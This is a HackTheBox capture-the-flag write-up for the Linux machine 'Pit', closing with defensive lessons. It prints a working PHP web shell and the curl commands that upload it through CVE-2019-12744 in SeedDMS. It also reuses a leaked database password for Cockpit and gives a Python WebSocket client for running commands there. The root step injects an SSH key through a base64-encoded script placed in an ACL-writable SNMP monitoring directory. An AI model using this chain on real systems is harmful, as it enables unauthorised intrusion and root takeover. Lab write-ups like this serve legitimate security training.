HTB: Pit Writeup

Pit - HackTheBox Writeup

Machine Information

AttributeDetails
NamePit
OSLinux
DifficultyMedium
Points30
Release Date15 May 2021
IP Address10.129.228.106
Authorpolarbearer & GibParadox

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Pit is a medium-difficulty Linux machine that teaches SNMP enumeration, web application exploitation, password reuse, and SNMP extension abuse for privilege escalation. The box introduces SELinux restrictions that prevent typical reverse shells, forcing alternative approaches. SNMP enumeration with the default public community string reveals filesystem paths and user information pointing to a SeedDMS installation. The SeedDMS instance is vulnerable to CVE-2019-12744 (authenticated arbitrary file upload), but the Apache .htaccess protection is ineffective because the web server is nginx. Exploitation yields RCE as the nginx user. Database credentials found in configuration files are reused for Cockpit web console access as user michelle. Privilege escalation is achieved by exploiting an SNMP extension that executes scripts from a directory where michelle has write access via ACLs, allowing SSH key injection into root’s authorized_keys.

TL;DR: SNMP enumeration (public community) → SeedDMS discovery → CVE-2019-12744 file upload RCE (nginx ignores .htaccess) → password reuse for Cockpit access as michelle → SNMP extension script write (ACL bypass) → SSH key injection → root shell.


Reconnaissance

Port Scanning

Terminal window
# Initial TCP scan of common ports
nmap -sC -sV -p22,80,9090 --open -T4 10.129.228.106

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
| 256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_ 256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp open http nginx 1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
|_http-server-header: nginx/1.14.1
9090/tcp open http Cockpit web service 221 - 253
| http-title: Loading...
|_Requested resource was https://hackback.htb:9090/

Three services are exposed:

  • SSH (22): OpenSSH 8.0, standard configuration
  • HTTP (80): nginx 1.14.1 serving a default test page
  • Cockpit (9090): CentOS web-based server management interface

The Cockpit SSL certificate reveals a Common Name: dms-pit.htb, which suggests a domain-based virtual host configuration.

UDP Service Enumeration

Since TCP enumeration was limited, a UDP scan was performed:

Terminal window
# SNMP is commonly found on UDP 161
snmpwalk -cpublic -v2c -Oqv 10.129.228.106 .1.3.6.1.4.1.2021.9 2>&1 | head -40

SNMP (UDP 161) responds to the default public community string, indicating an insecure SNMP configuration. This is a critical misconfiguration that allows unauthenticated information disclosure.

SNMP Enumeration

SNMP enumeration revealed two key pieces of information:

1. Disk/Filesystem Information (OID .1.3.6.1.4.1.2021.9)

Terminal window
# Query for disk/filesystem information
snmpwalk -cpublic -v2c -Oqv 10.129.228.106 .1.3.6.1.4.1.2021.9 2>&1 | grep -i seed

Output:

"/var/www/html/seeddms51x/seeddms"
"/dev/mapper/cl-seeddms"

This reveals:

  • A SeedDMS installation at /var/www/html/seeddms51x/seeddms
  • A dedicated LVM volume for the application, suggesting it’s a production service

2. SNMP Extensions (OID .1.3.6.1.4.1.8072.1.3.2)

Terminal window
# Query for custom SNMP extensions
snmpwalk -cpublic -v2c -Oqv 10.129.228.106 .1.3.6.1.4.1.8072.1.3.2 2>&1 | head -40

Output (partial):

2
"/usr/bin/free"
"/usr/bin/monitor"
...
"Database status
OK - Connection to database successful.
System release info
CentOS Linux release 8.3.2011
SELinux Settings
user
...
michelle
...

Key findings:

  • A custom monitoring script at /usr/bin/monitor is executed via SNMP
  • User michelle exists on the system
  • The system runs CentOS Linux 8.3.2011 with SELinux enabled
  • SELinux user context shows michelle is confined as user_u (restricted capabilities)

Web Enumeration

Initial Access

Adding the discovered hostname to /etc/hosts:

Terminal window
echo '10.129.228.106 dms-pit.htb' | sudo tee -a /etc/hosts

Accessing http://dms-pit.htb/seeddms51x/seeddms/ revealed a SeedDMS 5.1.15 login page.

SeedDMS Version Analysis

The application headers and SNMP output confirmed:

  • SeedDMS version 5.1.15
  • Installation path: /var/www/html/seeddms51x/seeddms
  • Web server: nginx 1.14.1 (not Apache)

Vulnerability Assessment

  1. SNMP Misconfiguration: Default public community string allows unauthenticated information disclosure
  2. Weak Credentials: User michelle discovered via SNMP
  3. SeedDMS CVE-2019-12744: Authenticated arbitrary file upload vulnerability, patched in 5.1.11 but patch relies on Apache .htaccess files
  4. Web Server Mismatch: nginx doesn’t process .htaccess files, making the CVE-2019-12744 patch ineffective
  5. SELinux Restrictions: Enabled but misconfigured ACLs provide escalation paths

Initial Foothold

SeedDMS Authentication

Testing common credentials with the discovered username:

Terminal window
# Login attempt with michelle:michelle
B='http://dms-pit.htb/seeddms51x/seeddms'
curl -s -i $B/op/op.Login.php \
--data-urlencode 'login=michelle' \
--data-urlencode 'pwd=michelle' \
--data-urlencode 'lang=en_GB' | head -20

Success: The credentials michelle:michelle provided authenticated access.

HTTP/1.1 302 Found
Set-Cookie: mydms_session=<session_id>; path=/seeddms51x/seeddms/; HttpOnly
Location: /seeddms51x/seeddms/out/out.ViewFolder.php?folderid=1

SeedDMS Folder Structure Enumeration

SeedDMS uses an AJAX-based folder structure. Enumerating folders:

Terminal window
# Query folder list via AJAX endpoint
B='http://dms-pit.htb/seeddms51x/seeddms'
SID='<session_cookie>'
curl -s -b "mydms_session=$SID" \
"$B/out/out.ViewFolder.php?action=folderList&folderid=1&orderby=u" | \
sed -E 's/<[^>]*>/ /g' | tr -s ' ' | grep -E 'Owner|Folder' | head

Folder structure discovered:

Root (folderid=1)
├── Docs (folderid=6)
│ └── Users (folderid=7)
│ ├── Michelle (folderid=8) ← Write access
│ └── Jack (folderid=9)
└── Upgrade Note (documentid=21)

The Upgrade Note document mentioned:

“Dear colleagues, Because of security issues in the previously installed version (5.1.10), I upgraded SeedDMS to version 5.1.15…”

This confirms the application was upgraded to address CVE-2019-12744.

Exploiting CVE-2019-12744

CVE-2019-12744 is an authenticated arbitrary file upload vulnerability in SeedDMS ≤ 5.1.10. The patch in version 5.1.11 added .htaccess restrictions to the data directory to prevent direct access to uploaded files. However:

  1. The target system runs nginx, not Apache
  2. nginx does not process .htaccess files
  3. The security control is therefore completely ineffective

Creating the Web Shell

Terminal window
# Create a minimal PHP web shell
printf '%s\n' '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";die;}?>' > /dev/shm/1.php

Obtaining Upload Token

SeedDMS implements CSRF protection via form tokens:

Terminal window
B='http://dms-pit.htb/seeddms51x/seeddms'
SID='<session_cookie>'
# Extract formtoken from Add Document page
TOK=$(curl -s -b "mydms_session=$SID" \
"$B/out/out.AddDocument.php?folderid=8" | \
grep -oiE 'name="formtoken" value="[a-f0-9]+"' | \
grep -oiE '[a-f0-9]{16,}')
echo "Token: $TOK"

Uploading the Web Shell

Terminal window
export TMPDIR=/dev/shm # Avoid disk space issues
curl -s -b "mydms_session=$SID" -i "$B/op/op.AddDocument.php" \
-F "formtoken=$TOK" \
-F 'folderid=8' \
-F 'name=report2' \
-F 'comment=' \
-F 'keywords=' \
-F 'sequence=1' \
-F 'reqversion=1' \
-F 'expires=' \
-F 'userfile[]=@/dev/shm/1.php;type=application/x-php;filename=1.php' | \
grep -iE 'HTTP/|Location:'

Response:

HTTP/1.1 302 Found
Location: ../out/out.ViewFolder.php?folderid=8&showtree=

Success! The file was accepted.

Retrieving Document ID

Terminal window
# Get the newly created document ID
curl -s -b "mydms_session=$SID" \
"$B/out/out.ViewFolder.php?action=folderList&folderid=8&orderby=u" | \
grep -oiE 'documentid=[0-9]+' | sort -u

Output: documentid=29

Executing Commands

SeedDMS stores uploaded files at /data/1048576/<documentid>/1.php:

Terminal window
# Test RCE with id command
curl -s -H 'Host: dms-pit.htb' \
'http://10.129.228.106/seeddms51x/data/1048576/29/1.php?cmd=id'

Output:

<pre>uid=992(nginx) gid=988(nginx) groups=988(nginx) context=system_u:system_r:httpd_t:s0
</pre>

Code execution achieved as nginx user! Note the SELinux context httpd_t which will restrict certain operations.

Extracting Database Credentials

SeedDMS stores its configuration in an XML file:

Terminal window
# Read settings.xml for database credentials
curl -s -H 'Host: dms-pit.htb' \
'http://10.129.228.106/seeddms51x/data/1048576/29/1.php' \
--data-urlencode 'cmd=cat /var/www/html/seeddms51x/conf/settings.xml' | \
grep -iE 'dbPass'

Output:

<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms"
dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">

Database password extracted: ied^ieY6xoquu

Lateral Movement via Password Reuse

Attempting to read user files directly failed due to SELinux restrictions:

Terminal window
curl -s -H 'Host: dms-pit.htb' \
'http://10.129.228.106/seeddms51x/data/1048576/29/1.php' \
--data-urlencode 'cmd=cat /home/michelle/user.txt 2>&1'

Output:

cat: /home/michelle/user.txt: Permission denied

However, the database password can be tested for password reuse. The Cockpit web console on port 9090 accepts system credentials:

Terminal window
# Test Cockpit authentication
curl -sk -u 'michelle:ied^ieY6xoquu' -i \
'https://10.129.228.106:9090/cockpit/login' | \
grep -iE 'HTTP/|Set-Cookie' | head

Output:

HTTP/1.1 200 OK
Set-Cookie: cockpit=<cookie>; Path=/; Secure; HttpOnly
{"csrf-token":"<token>"}

Success! Password reuse grants Cockpit access as michelle.

User Flag via Cockpit Terminal

Cockpit provides a web-based terminal. Rather than using the browser, a headless WebSocket client was developed:

# ck.py - Headless Cockpit WebSocket client
import ssl,sys,json,base64,http.client,websocket
HOST='10.129.228.106';PORT=9090
USER='michelle';PW='ied^ieY6xoquu'
cmd=sys.argv[1]
# Authenticate via HTTP
c=http.client.HTTPSConnection(HOST,PORT,context=ssl._create_unverified_context())
auth=base64.b64encode(f'{USER}:{PW}'.encode()).decode()
c.request('GET','/cockpit/login',headers={'Authorization':'Basic '+auth})
r=c.getresponse();body=r.read()
cookie=None
for k,v in r.getheaders():
if k.lower()=='set-cookie':
cookie=v.split(';')[0]
if not cookie:
print('LOGIN FAIL',r.status,body);sys.exit(1)
# Connect to WebSocket
ws=websocket.create_connection(f'wss://{HOST}:{PORT}/cockpit/socket',
sslopt={'cert_reqs':ssl.CERT_NONE},
header=['Cookie: '+cookie],
subprotocols=['cockpit1'])
def send(chan,payload):
ws.send(chan+'\n'+payload)
# Wait for server init
while True:
m=ws.recv()
if isinstance(m,bytes):m=m.decode(errors='replace')
nl=m.find('\n');chan=m[:nl];data=m[nl+1:]
if chan=='':
j=json.loads(data)
if j.get('command')=='init':
send('',json.dumps({'command':'init','version':1,'host':'localhost'}))
break
# Open command stream channel
send('',json.dumps({'command':'open','channel':'ch1','payload':'stream',
'spawn':['/bin/bash','-c',cmd],'host':'localhost','pty':False,'err':'out'}))
# Collect output
out=b''
while True:
try:
m=ws.recv()
except Exception:
break
if isinstance(m,str):mb=m.encode()
else:mb=m
nl=mb.find(b'\n');chan=mb[:nl].decode();data=mb[nl+1:]
if chan=='ch1':
out+=data
elif chan=='':
j=json.loads(data.decode())
if j.get('command')=='close' and j.get('channel')=='ch1':
break
sys.stdout.buffer.write(out)
ws.close()

Reading the user flag:

Terminal window
cd /dev/shm/pitwork && python3 ck.py 'cat /home/michelle/user.txt'

Output: <redacted>


Privilege Escalation

SNMP Extension Analysis

Recall from initial SNMP enumeration that /usr/bin/monitor is executed as root via SNMP extensions. Let’s examine this:

Terminal window
# Read the monitor script
curl -s -H 'Host: dms-pit.htb' \
'http://10.129.228.106/seeddms51x/data/1048576/29/1.php' \
--data-urlencode 'cmd=cat /usr/bin/monitor 2>&1'

Output:

#!/bin/bash
for script in /usr/local/monitoring/check*sh
do
/bin/bash $script
done

The script executes all scripts matching /usr/local/monitoring/check*.sh as root when SNMP walks the extension OID.

ACL Enumeration

Checking directory permissions:

Terminal window
curl -s -H 'Host: dms-pit.htb' \
'http://10.129.228.106/seeddms51x/data/1048576/29/1.php' \
--data-urlencode 'cmd=getfacl /usr/local/monitoring 2>&1'

Output:

# file: usr/local/monitoring
# owner: root
# group: root
user::rwx
user:michelle:-wx ← Michelle has write and execute access!
group::rwx
mask::rwx
other::---

Critical finding: While the directory is owned by root with 700 base permissions, an ACL grants michelle write and execute access (-wx). This means michelle can create files in the directory but cannot list its contents.

Exploitation Strategy

Since SELinux blocks:

  1. Direct reverse shells from web contexts
  2. Direct file reads of /root/root.txt via SNMP
  3. Most network operations from restricted contexts

The solution is to write an SSH public key into root’s authorized_keys file, then connect via SSH.

Generate SSH Key Pair

Terminal window
cd /dev/shm/pitwork
ssh-keygen -t ed25519 -f pitroot -N '' -q
cat pitroot.pub

Output:

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJgGMhrHuIUbJmWuLfCB4YWs/AeyPKZAQW8TrRcCCSq3 d3vn0mi@devn0mi-training-kali

Create Privilege Escalation Script

Terminal window
PUB=$(cat pitroot.pub)
# Create the script that will run as root
printf '#!/bin/bash
mkdir -p /root/.ssh
chmod 700 /root/.ssh
echo "%s" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
' "$PUB" > ck_payload.sh
# Base64 encode for safe transfer
B64=$(base64 -w0 ck_payload.sh)
echo $B64

Output: IyEvYmluL2Jhc2gKbWtkaXIgLXAgL3Jvb3QvLnNzaApjaG1vZCA3MDAgL3Jvb3QvLnNzaAplY2hvICJzc2gtZWQyNTUxOSBBQUFBQzNOemFDMWxaREkxTlRFNUFBQUFJSmdHTWhySHVJVWJKbVd1TGZDQjRZV3MvQWV5UEtaQVFXOFRyUmNDQ1NxMyBkM3ZuMG1pQGRldm4wbWktdHJhaW5pbmcta2FsaSIgPj4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg==

Deploy the Script

Using the Cockpit client to run commands as michelle:

Terminal window
B64='IyEvYmluL2Jhc2gKbWtkaXIgLXAgL3Jvb3QvLnNzaApjaG1vZCA3MDAgL3Jvb3QvLnNzaAplY2hvICJzc2gtZWQyNTUxOSBBQUFBQzNOemFDMWxaREkxTlRFNUFBQUFJSmdHTWhySHVJVWJKbVd1TGZDQjRZV3MvQWV5UEtaQVFXOFRyUmNDQ1NxMyBkM3ZuMG1pQGRldm4wbWktdHJhaW5pbmcta2FsaSIgPj4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg=='
python3 ck.py "echo $B64 | base64 -d > /usr/local/monitoring/check_key.sh; echo EXIT=\$?; ls -la /usr/local/monitoring/check_key.sh"

Output:

EXIT=0
-rw-r--r--. 1 michelle michelle 238 Jul 20 20:45 /usr/local/monitoring/check_key.sh

Script successfully written!

Trigger Script Execution

Walking the SNMP extension OID triggers /usr/bin/monitor, which executes our script as root:

Terminal window
# Trigger the monitoring script
snmpwalk -cpublic -v2c 10.129.228.106 .1.3.6.1.4.1.8072.1.3.2 >/dev/null 2>&1
# Wait for execution
sleep 3
# Connect as root
ssh -i pitroot -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
root@10.129.228.106 'id; hostname; cat /root/root.txt'

Output:

Warning: Permanently added '10.129.228.106' (ED25519) to the list of known hosts.
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
pit.htb
<redacted>

Root access achieved!


Attack Chain Summary

SNMP Enumeration (public community)
Discover SeedDMS path + user michelle
SeedDMS Login (michelle:michelle)
CVE-2019-12744 File Upload (.htaccess ineffective on nginx)
RCE as nginx user (SELinux httpd_t context)
Extract DB password from settings.xml
Password Reuse → Cockpit Access as michelle
Write check_key.sh to /usr/local/monitoring (ACL bypass)
Trigger via SNMP extension → Script runs as root
SSH Key Injection → Root Shell

Tools Used

ToolPurpose
nmapTCP/UDP port scanning and service enumeration
snmpwalkSNMP enumeration and extension triggering
curlHTTP requests, authentication, and file upload
websocket-client (Python)Headless Cockpit WebSocket communication
ssh-keygenSSH key pair generation for privilege escalation
base64Encoding payload for safe transfer

Key Learnings

Techniques Practiced

  • SNMP enumeration with default community strings for information disclosure
  • Exploiting CVE-2019-12744 (SeedDMS authenticated file upload)
  • Understanding web server differences (Apache .htaccess vs nginx)
  • Password reuse attacks across multiple services
  • SELinux awareness and working within confined contexts
  • ACL exploitation for privilege escalation
  • SNMP extension abuse for remote code execution as root
  • Headless WebSocket client development for Cockpit automation

Lessons Learned

  1. Default SNMP community strings are dangerous: The public community string provided extensive system information including users, filesystems, and running processes. Always change default SNMP credentials and restrict access.

  2. Security controls must match the technology stack: The SeedDMS patch for CVE-2019-12744 used Apache .htaccess files, which are completely ignored by nginx. Security solutions must be validated in the actual deployment environment.

  3. Password reuse is a common escalation path: The database password ied^ieY6xoquu was reused for the system account, demonstrating why services should use dedicated credentials.

  4. SELinux provides defense in depth but not security through obscurity: While SELinux blocked reverse shells and direct file access, it didn’t prevent privilege escalation through legitimate system mechanisms (SNMP extensions).

  5. ACLs can create hidden privilege escalation paths: The directory appeared secure with drwxrwx--- permissions owned by root, but ACLs granted michelle write access. Always check ACLs with getfacl.

  6. SNMP extensions can be weaponized: Custom SNMP extensions that execute scripts are dangerous if the script directories are writable by unprivileged users. This effectively creates a root cron job triggered by SNMP.

  7. Alternative access methods when shells are blocked: When SELinux or other security controls block reverse shells, alternative methods like SSH key injection, cronjob creation, or service abuse can achieve the same goal.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup was based on a live solve of the HackTheBox machine “Pit.” Explanatory details about CVE-2019-12744, SELinux user capabilities, and the .htaccess security control implementation were informed by the official HackTheBox writeup (Document No D21.100.133) by polarbearer.